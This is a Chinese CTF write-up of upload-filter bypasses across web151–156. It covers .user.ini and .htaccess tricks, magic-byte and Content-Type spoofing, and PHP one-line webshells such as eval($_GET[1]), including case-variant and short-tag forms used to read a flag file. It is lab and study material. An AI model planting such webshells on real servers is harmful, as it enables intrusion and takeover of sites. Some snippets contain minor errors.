文件上传

本人已知解题方法:
  • 前端修改
  • .user.ini
1
auto_prepend_file = 1.png
  • .htaccess

    1
    2
    3
    <FilesMatch "1.jpg">
    SetHandler application/x-http-php
    </FilesMatch>
  • 文件幻术头绕过

1
2
3
4
5
6
7
8
jpg对于的前面的16进制字符是
FFD8FFE000104A464946

png对应的是
89504E47

gif对应的是
474946383961 // GIF89a
  • 服务端MIME类型验证(文件内容类型检测)
1
2
3
4
当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为:
Content-Type:image/jpeg
Content-Type:image/png
Content-Type:image/gif
  • 后缀绕过

    1
    2
    3
    4
    php: php、 phtml、php3、php4、php5 
    jsp: jap、jspx、jspf
    asp: asa、cer、aspx
    ext: exee
  • 配合文件包含漏洞

1
include()

web151(前台校验)

image-20240708110833100

题目这样写,感觉问题应该是出在前端。那么我们就去看看网页源代码,能找到这样一段

image-20240708111129112

看不太懂问了一下ai,得到这样的解释

image-20240708111403729

只接受PNG格式,那就看看能不能改一下变成接受PHP

ps:网页源代码怎么改:先F12打开开发人员工具,在elements(元素)那里找到需要修改的地方,鼠标右键选择编辑属性就能进行修改了。有的浏览器双击也能改(记录一下防止我下次要改又忘了)

改完之后直接上传一个php文件就行,里面可以写上一句代码

eg:(这个是用get传参的形式)

1
2
3
<?php 
eval('$_GET[1]');
?>

上传成功就可以看到

image-20240708112817430

照着路径,在url那编辑:(路径+get传参(system函数))

find / -name flag.php ——从根目录查询文件名为flag.php的文件。

image-20240708113153094

页面回显出两条路径,都cat一下发现页面回显空白,点开源代码试试,发现有一条路径里能看到flag

image-20240708112515214

或直接

1
cat ../ flag.php

web152

image-20240708114031284

看到后端那就不能用上面的方法了,不知道怎么办就先上传图片抓个包。

image-20240708114549232

OK我们现在看到了路径,然后将Content-Disposition中的filename文件后缀改成php,发送得到

image-20240708185933304

接下来就可以通过get传参找到flag.php的路径,cat得到flag。

//151也能这样做其实

web153

用.user.ini方法上传

(似乎是通过kail的dirsearch搜索出upload下面有index.php。

先上传一个随意图片,如之前操作一样抓包,把上传文件改为.user.ini,并加上

1
auto_prepend_file = 1.png

//或者新建一个txt,输入

1
auto_prepend_file = 1.png

将其改为png形式,直接上传,再修改一下上传文件也是一样的

image-20240709192409443

随便新建一个1.txt,写入一句话木马,例如之前的

1
<?php eval($_GET[1]);?>

保存后改文件后缀为1.png(ps:这就是图片马了),再正常地将1.png上传,接下来就可以直接

1
/upload/index.php?1=system('cat ../ flag.php');

flag就出来了。

web154

先是和153一样的做法,但是发现到上传图片马这一步出现了上传失败的提示。

猜测是不是因为图片马的php被处理了,那就换种方式写一下图片马的内容吧

//可以去搜索看看PHP的四种标记风格~

第一步先试试大小写绕过:

1
<?PhP eval($_GET[1]);?>

上传成功了耶,然后就直接查flag吧.

(所以与153的区别就是文件马的内容可以稍微改一下,绕过它的处理机制)

web155

同上,四种php风格试一下发现文件马里面要改成使用短标签绕过

1
2
3
<?
eval($_GET[1]);
?>

web156

过滤了[],改成{}即可。//像这样

联想截图_20240710095519